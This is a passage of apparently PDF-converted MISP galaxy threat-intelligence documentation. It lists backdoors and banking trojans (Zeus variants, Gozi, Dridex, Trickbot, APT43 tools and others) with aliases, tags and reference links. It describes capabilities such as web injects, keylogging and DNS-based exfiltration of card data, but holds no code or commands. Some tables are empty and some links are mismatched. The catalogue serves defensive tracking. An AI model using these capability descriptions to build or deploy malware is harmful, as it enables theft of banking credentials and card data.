
- Solarigate

\textit{View relationships graph}

SUNBURST has relationships with:

- dropped-by: misp-galaxy:tool=\textit{SUNSPOT} with estimative-language:likelihood-probability=\textit{likely}
- used-by: misp-galaxy:microsoft-activity-group=\textit{NOBELIUM} with estimative-language:likelihood-probability=\textit{likely}

\textit{Table 628. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
BPFDoor

BPFDoor is a passive backdoor used by a China-based threat actor. This backdoor supports multiple protocols for communicating with a C2 including TCP, UDP, and ICMP allowing the threat actor a variety of mechanisms to interact with the implant.

The tag is: `misp-galaxy:backdoor="BPFDoor"`

Table 629. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://troopers.de/troopers22/talks/7cv8pz/">https://troopers.de/troopers22/talks/7cv8pz/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/cyb3rops/status/1523227511551033349">https://twitter.com/cyb3rops/status/1523227511551033349</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CraigHRowland/status/1523266585133457408">https://twitter.com/CraigHRowland/status/1523266585133457408</a></td>
</tr>
</tbody>
</table>

BOLDMOVE

According to Mandiant, this malware family is attributed to potential chinese background and its Linux variant is related to exploitation of Fortinet's SSL-VPN (CVE-2022-42475).

The tag is: `misp-galaxy:backdoor="BOLDMOVE"`

Table 630. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove">https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove</a></td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove">https://malpedia.caad.fkie.fraunhofer.de/details/elf.boldmove</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw">https://www.mandiant.com/resources/blog/chinese-actors-exploit-fortios-flaw</a></td>
</tr>
</tbody>
</table>

PowerMagic

The tag is: `misp-galaxy:backdoor="PowerMagic"`
**VEILEDSIGNAL**

VEILEDSIGNAL is a backdoor written in C that is able to execute shellcode and terminate itself. Additionally, VEILEDSIGNAL relies on additional modules that connect via Windows named pipes to interact with the Command and Control (C2) infrastructure.

The tag is: *misp-galaxy:backdoor=*`VEILEDSIGNAL`*

**POOLRAT**

POOLRAT is a C/C++ macOS backdoor capable of collecting basic system information and executing commands. The commands performed include running arbitrary commands, secure deleting files, reading and writing files, updating the configuration.

The tag is: *misp-galaxy:backdoor=*`POOLRAT`*

**BIGRAISIN**

BIGRAISIN is a C/C++ Windows based backdoor. It is capable of executing downloaded commands, executing downloaded files, and deleting files. Availability: Non-public

The tag is: *misp-galaxy:backdoor=*`BIGRAISIN`*

**View relationships graph**

BIGRAISIN has relationships with:

- used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

**Table 631. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/bad-magic-apt/109087/">https://securelist.com/bad-magic-apt/109087/</a></td>
</tr>
</tbody>
</table>

**Table 632. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
</tbody>
</table>

**Table 633. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise">https://www.mandiant.com/resources/blog/3cx-software-supply-chain-compromise</a></td>
</tr>
</tbody>
</table>

**Table 634. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>
**FASTFIRE**

FASTFIRE is a malicious APK that connects to a server and sends details of the compromised device back to command and control (C2). Availability: Non-public

The tag is: \textit{misp-galaxy:backdoor=“FASTFIRE”}

View relationships graph

FASTFIRE has relationships with:

- \textit{used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"}

\textit{Table 635. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**GRAYZONE**

GRAYZONE is a C/C++ Windows backdoor capable of collecting system information, logging keystrokes, and downloading additional stages from the C2 server. Availability: Non-public

The tag is: \textit{misp-galaxy:backdoor=“GRAYZONE”}

View relationships graph

GRAYZONE has relationships with:

- \textit{used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"}

\textit{Table 636. Table References}

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**HANGMAN.V2**

HANGMAN.V2 is a variant of the backdoor HANGMAN. HANGMAN.V2 is very similar to HANGMAN, but uses HTTP for the network communications and formats data passed to the C2 server differently. Availability: Non-public

The tag is: \textit{misp-galaxy:backdoor=“HANGMAN.V2”}

View relationships graph

HANGMAN.V2 has relationships with:
• variant-of: misp-galaxy:malpedia="HOPLIGHT" with estimative-language:likelihood-probability="likely"
• used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 637. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**LOGCABIN**

LOGCABIN is a file-less and modular backdoor with multiple stages. The stages consist of several VisualBasic and PowerShell scripts that are downloaded and executed. LOGCABIN collects detailed system information and sends it to the C2 before performing additional commands. Availability: Non-public

The tag is: *misp-galaxy:backdoor="LOGCABIN"*

View relationships graph

LOGCABIN has relationships with:

• used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 638. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>

**SOURDOUGH**

SOURDOUGH is a backdoor written in C that communicates via HTTP. Its capabilities include keylogging, screenshot capture, file transfer, file execution, and directory enumeration. Availability: Non-public

The tag is: *misp-galaxy:backdoor="SOURDOUGH"*

View relationships graph

SOURDOUGH has relationships with:

• used-by: misp-galaxy:threat-actor="APT43" with estimative-language:likelihood-probability="likely"

Table 639. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report">https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report</a></td>
</tr>
</tbody>
</table>
TROIBOMB

TROIBOMB is a C/C++ Windows backdoor that is capable of collecting system information and performing commands from the C2 server. Availability: Non-public

The tag is: `misp-galaxy:backdoor="TROIBOMB"`

View relationships graph

TROIBOMB has relationships with:

- used-by: `misp-galaxy:threat-actor="APT43"` with `estimative-language:likelihood-probability="likely"`

Banker

A list of banker malware..

Banker is a cluster galaxy available in JSON format at [this location](https://mandiant.widen.net/s/zvmfw5fnjs/apt43-report) The JSON format can be freely reused in your application or automatically enabled in MISP.

Zeus

Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.

The tag is: `misp-galaxy:banker="Zeus"`

Zeus is also known as:

- Zbot

View relationships graph

Zeus has relationships with:

- similar: `misp-galaxy:tool="Zeus"` with `estimative-language:likelihood-probability="likely"`
• similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"

Table 641. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://usa.kaspersky.com/resource-center/threats/zeus-virus">https://usa.kaspersky.com/resource-center/threats/zeus-virus</a></td>
</tr>
</tbody>
</table>

**Vawtrak**

Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.

The tag is: *misp-galaxy:banker="Vawtrak"*

Vawtrak is also known as:

• Neverquest

View relationships graph

Vawtrak has relationships with:

• similar: misp-galaxy:tool="Vawtrak" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 642. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.fidelissecurity.com/threatgeek/2016/05/vawtrak-trojan-bank-it-evolving">https://www.fidelissecurity.com/threatgeek/2016/05/vawtrak-trojan-bank-it-evolving</a></td>
</tr>
<tr>
<td><a href="https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows">https://www.proofpoint.com/us/threat-insight/post/In-The-Shadows</a></td>
</tr>
</tbody>
</table>

**Dridex**

Dridex leverages redirection attacks designed to send victims to malicious replicas of the banking sites they think they're visiting.

The tag is: *misp-galaxy:banker="Dridex"*

Dridex is also known as:

• Feodo Version D
• Cridex

**View relationships graph**

Dridex has relationships with:

- similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"

---

**Table 643. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.malwarebytes.com/detections/trojan-dridex/">https://blog.malwarebytes.com/detections/trojan-dridex/</a></td>
</tr>
<tr>
<td><a href="https://feodotracker.abuse.ch/">https://feodotracker.abuse.ch/</a></td>
</tr>
</tbody>
</table>

---

**Gozi**

Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010

The tag is: *misp-galaxy:banker="Gozi"*

Gozi is also known as:

- Ursnif
- CRM
- Snifula
- Papras

**View relationships graph**

Gozi has relationships with:

- similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

---

**Table 644. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/gozi">https://www.secureworks.com/research/gozi</a></td>
</tr>
<tr>
<td><a href="https://lokalhost.pl/gozi_tree.txt">https://lokalhost.pl/gozi_tree.txt</a></td>
</tr>
</tbody>
</table>
Goziv2

Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.

The tag is: misp-galaxy:banker="Goziv2"

Goziv2 is also known as:

• Prinimalka

Table 645. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://krebsonsecurity.com/tag/gozi-prinimalka/">https://krebsonsecurity.com/tag/gozi-prinimalka/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/project-blitzkrieg-how-to-block-the-planned-prinimalka-gozi-trojan-attack/">https://securityintelligence.com/project-blitzkrieg-how-to-block-the-planned-prinimalka-gozi-trojan-attack/</a></td>
</tr>
<tr>
<td><a href="https://lokalhost.pl/gozi_tree.txt">https://lokalhost.pl/gozi_tree.txt</a></td>
</tr>
</tbody>
</table>

Gozi ISFB

Banking trojan based on Gozi source. Features include web injects for the victims’ browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.

The tag is: misp-galaxy:banker="Gozi ISFB"

View relationships graph

Gozi ISFB has relationships with:

• similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"

Table 646. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature">https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature</a></td>
</tr>
<tr>
<td><a href="https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak">https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak</a></td>
</tr>
<tr>
<td><a href="https://lokalhost.pl/gozi_tree.txt">https://lokalhost.pl/gozi_tree.txt</a></td>
</tr>
</tbody>
</table>

Dreambot

Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.

The tag is: misp-galaxy:banker="Dreambot"

Table 647. Table References
IAP

GozI ISFB variant

The tag is: `misp-galaxy:banker="IAP"`

View relationships graph

IAP has relationships with:

- similar: `misp-galaxy:malpedia="ISFB"` with `estimative-language:likelihood-probability="likely"`

Table 648. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lokalhost.pl/gozi_tree.txt">https://lokalhost.pl/gozi_tree.txt</a></td>
</tr>
<tr>
<td><a href="http://archive.is/I7hi8#selection-217.0-217.6">http://archive.is/I7hi8#selection-217.0-217.6</a></td>
</tr>
</tbody>
</table>

GozNym

GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers.

The tag is: `misp-galaxy:banker="GozNym"`

Table 649. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lokalhost.pl/gozi_tree.txt">https://lokalhost.pl/gozi_tree.txt</a></td>
</tr>
</tbody>
</table>

Zloader Zeus

Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails.

The tag is: `misp-galaxy:banker="Zloader Zeus"`

Zloader Zeus is also known as:
• Zeus Terdot

View relationships graph

Zloader Zeus has relationships with:

• similar: misp-galaxy:malpedia="Zloader" with estimative-language:likelihood-probability="likely"

Table 650. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle">https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle</a></td>
</tr>
</tbody>
</table>

Zeus VM

Zeus variant that utilizes steganography in image files to retrieve configuration file.

The tag is: misp-galaxy:banker="Zeus VM"

Zeus VM is also known as:

• VM Zeus

View relationships graph

Zeus VM has relationships with:

• similar: misp-galaxy:malpedia="VM Zeus" with estimative-language:likelihood-probability="likely"

Table 651. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Zeus Sphinx

Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.

The tag is: misp-galaxy:banker="Zeus Sphinx"

View relationships graph

Zeus Sphinx has relationships with:
Panda Banker

Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.

The tag is: `misp-galaxy:banker="Panda Banker"`

Panda Banker is also known as:

- Zeus Panda

Zeus KINS

Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it’s config in the registry.

The tag is: `misp-galaxy:banker="Zeus KINS"`

Zeus KINS is also known as:

- Kasper Internet Non-Security
- Maple

Zeus KINS has relationships with:

- similar: `misp-galaxy:malpedia="KINS"` with estimative-language:likelihood-probability="likely"
Chthonic

Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.

The tag is: `misp-galaxy:banker="Chthonic"`

Chthonic is also known as:

- Chtonic

View relationships graph

Chthonic has relationships with:

- similar: `misp-galaxy:malpedia="Chthonic"` with `estimative-language:likelihood-probability="likely"`

Table 655. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Trickbot

Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan

The tag is: `misp-galaxy:banker="Trickbot"`

Trickbot is also known as:

- Trickster
- Trickloader

View relationships graph

Trickbot has relationships with:

- similar: `misp-galaxy:tool="Trick Bot"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="TrickBot"` with `estimative-language:likelihood-probability="likely"`
Dyre

Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architecture and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim’s computer.

The tag is: `misp-galaxy:banker="Dyre"`

Dyre is also known as:

- Dyreza

View relationships graph

Dyre has relationships with:

- similar: `misp-galaxy:mitre-malware="Dyre - S0024"` with `estimative-language:likelihood-probability="likely"`
- similar: `misp-galaxy:malpedia="Dyre"` with `estimative-language:likelihood-probability="likely"`

Tinba

Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.

The tag is: `misp-galaxy:banker="Tinba"`

Tinba is also known as:
• Zusy
• TinyBanker
• illi

View relationships graph

Tinba has relationships with:

• similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 658. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/">https://securityblog.switch.ch/2015/06/18/so-long-and-thanks-for-all-the-domains/</a></td>
</tr>
<tr>
<td><a href="http://my.infotex.com/tiny-banker-trojan/">http://my.infotex.com/tiny-banker-trojan/</a></td>
</tr>
</tbody>
</table>

Geodo

Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.

The tag is: misp-galaxy:banker="Geodo"

Geodo is also known as:

• Feodo Version C
• Emotet

View relationships graph

Geodo has relationships with:

• similar: misp-galaxy:tool="Emotet" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"

Table 659. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://feodotracker.abuse.ch/">https://feodotracker.abuse.ch/</a></td>
</tr>
</tbody>
</table>
Feodo

Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80. It is delivered primarily via exploit kits and malspam emails.

The tag is: *misp-galaxy:banker="Feodo"*

Feodo is also known as:

- Bugat
- Cridex

View relationships graph

Feodo has relationships with:

- similar: *misp-galaxy:tool="Dridex"* with *estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:malpedia="Feodo"* with *estimative-language:likelihood-probability="likely"

Table 660. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/dridex-a-history-of-evolution/78531/">https://securelist.com/dridex-a-history-of-evolution/78531/</a></td>
</tr>
<tr>
<td><a href="https://feodotracker.abuse.ch/">https://feodotracker.abuse.ch/</a></td>
</tr>
</tbody>
</table>

Ramnit

Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of performing Man-in-the-Browser attacks. Distributed primarily via exploit kits.

The tag is: *misp-galaxy:banker="Ramnit"*

Ramnit is also known as:

- Nimnul

View relationships graph
Ramnit has relationships with:

- similar: misp-galaxy:botnet="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"

Table 661. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Qakbot**

Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.

The tag is: *misp-galaxy:banker="Qakbot"*

Qakbot is also known as:

- Qbot
- Pinkslipbot
- Akbot

View relationships graph

Qakbot has relationships with:

- similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 662. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/">https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/</a></td>
</tr>
</tbody>
</table>

**Corebot**

Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.

The tag is: *misp-galaxy:banker="Corebot"*
Corebot has relationships with:

- similar: misp-galaxy:malpedia="Corebot" with estimative-language:likelihood-probability="likely"

Table 663. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

TinyNuke

TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It’s main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.

The tag is: misp-galaxy:banker="TinyNuke"

TinyNuke is also known as:

- NukeBot
- Nuclear Bot
- MicroBankingTrojan
- Xbot

TinyNuke has relationships with:

- similar: misp-galaxy:mitre-tool="Xbot - S0298" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
- used-by: misp-galaxy:threat-actor="Kimsuky" with estimative-language:likelihood-probability="likely"
Retefe

Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.

The tag is: misp-galaxy:banker="Retefe"

Retefe is also known as:

- Tsukuba
- Werdlod

View relationships graph

Retefe has relationships with:

- similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"

Table 665. Table References

Links

https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://countuponsecurity.com/2016/02/29/retefe-banking-trojan/
https://securityblog.switch.ch/2014/11/05/retefe-with-a-new-twist/

ReactorBot

ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.

The tag is: misp-galaxy:banker="ReactorBot"
View relationships graph

ReactorBot has relationships with:

- similar: misp-galaxy:malpedia="ReactorBot" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 666. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html">http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html</a></td>
</tr>
<tr>
<td><a href="http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html">http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html</a></td>
</tr>
</tbody>
</table>

Matrix Banker

Matrix Banker is named accordingly because of the Matrix reference in its C2 panel. Distributed primarily via malspam emails.

The tag is: misp-galaxy:banker="Matrix Banker"

View relationships graph

Matrix Banker has relationships with:

- similar: misp-galaxy:malpedia="Matrix Banker" with estimative-language:likelihood-probability="likely"

<table>
<thead>
<tr>
<th>Table 667. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/">https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/</a></td>
</tr>
</tbody>
</table>

Zeus Gameover

Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.

The tag is: misp-galaxy:banker="Zeus Gameover"

<table>
<thead>
<tr>
<th>Table 668. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://heimdalsecurity.com/blog/zeus-gameover/">https://heimdalsecurity.com/blog/zeus-gameover/</a></td>
</tr>
</tbody>
</table>
SpyEye

SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.

The tag is: misp-galaxy:banker="SpyEye"

Citadel

Citadel is an offspring of the Zeus banking trojan. Delivered primarily via exploit kits.

The tag is: misp-galaxy:banker="Citadel"

Atmos

Atmos is derived from the Citadel banking trojan. Delivered primarily via exploit kits and malspam emails.

The tag is: misp-galaxy:banker="Atmos"
Ice IX

Ice IX is a bot created using the source code of ZeuS 2.0.8.9. No major improvements compared to ZeuS 2.0.8.9.

The tag is: `misp-galaxy:banker="Ice IX"`

View relationships graph

Ice IX has relationships with:

- similar: `misp-galaxy:malpedia="Ice IX"` with `estimative-language:likelihood-probability="likely"

Zitmo

Zeus in the mobile. Banking trojan developed for mobile devices such as Windows Mobile, Blackberry and Android.

The tag is: `misp-galaxy:banker="Zitmo"

Licat

Banking trojan based on Zeus V2. Murofet is a newer version of Licat found ~end of 2011

The tag is: `misp-galaxy:banker="Licat"

Licat is also known as:

- Murofet

View relationships graph
Licat has relationships with:

- similar: misp-galaxy:malpedia="Murofet" with estimative-language:likelihood-probability="likely"

Table 674. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/">https://johannesbader.ch/2015/09/three-variants-of-murofets-dga/</a></td>
</tr>
<tr>
<td><a href="https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A">https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_LICAT.A</a></td>
</tr>
</tbody>
</table>

**Skynet**

Skynet is a Tor-powered trojan with DDoS, Bitcoin mining and Banking capabilities. Spread via USENET as per rapid7.

The tag is: *misp-galaxy:banker="Skynet"*

Table 675. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/">https://blog.rapid7.com/2012/12/06/skynet-a-tor-powered-botnet-straight-from-reddit/</a></td>
</tr>
</tbody>
</table>

**IcedID**

According to X-Force research, the new banking Trojan emerged in the wild in September 2017, when its first test campaigns were launched. Our researchers noted that IcedID has a modular malicious code with modern banking Trojan capabilities comparable to malware such as the Zeus Trojan. At this time, the malware targets banks, payment card providers, mobile services providers, payroll, webmail and e-commerce sites in the U.S. Two major banks in the U.K. are also on the target list the malware fetches.

The tag is: *misp-galaxy:banker="IcedID"*

IcedID is also known as:

- BokBot

View relationships graph

IcedID has relationships with:

- similar: misp-galaxy:malpedia="IcedID" with estimative-language:likelihood-probability="likely"
GratefulPOS

GratefulPOS has the following functions:
1. Access arbitrary processes on the target POS system
2. Scrape track 1 and 2 payment card data from the process(es)
3. Exfiltrate the payment card data via lengthy encoded and obfuscated DNS queries to a hardcoded domain registered and controlled by the perpetrators, similar to that described by Paul Rascagneres in his analysis of FrameworkPOS in 2014[iii], and more recently by Luis Mendieta of Anomoli in analysis of a precursor to this sample.

The tag is: `misp-galaxy:banker="GratefulPOS"`

Dok

A macOS banking trojan that redirects an infected user's web traffic in order to extract banking credentials.

The tag is: `misp-galaxy:banker="Dok"`
**downAndExec**

Services like Netflix use content delivery networks (CDNs) to maximize bandwidth usage as it gives users greater speed when viewing the content, as the server is close to them and is part of the Netflix CDN. This results in faster loading times for series and movies, wherever you are in the world. But, apparently, the CDNs are starting to become a new way of spreading malware. The attack chain is very extensive, and incorporates the execution of remote scripts (similar in some respects to the recent “fileless” banking malware trend), plus the use of CDNs for command and control (C&C), and other standard techniques for the execution and protection of malware.

The tag is: *misp-galaxy:banker="downAndExec"*

---

**Smominru**

Since the end of May 2017, we have been monitoring a Monero miner that spreads using the EternalBlue Exploit (CVE-2017-0144). The miner itself, known as Smominru (aka Ismo) has been well-documented, so we will not discuss its post-infection behavior. However, the miner’s use of Windows Management Infrastructure is unusual among coin mining malware. The speed at which mining operations conduct mathematical operations to unlock new units of cryptocurrency is referred to as “hash power”. Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz. The operators had already mined approximately 8,900 Monero (valued this week between $2.8M and $3.6M). Each day, the botnet mined roughly 24 Monero, worth an average of $8,500 this week.

The tag is: *misp-galaxy:banker="Smominru"*

Smominru is also known as:

- Ismo
- lsmo

View relationships graph

Smominru has relationships with:

- similar: *misp-galaxy:malpedia="Smominru"* with *estimative-language:likelihood-probability="likely"*

---

Links

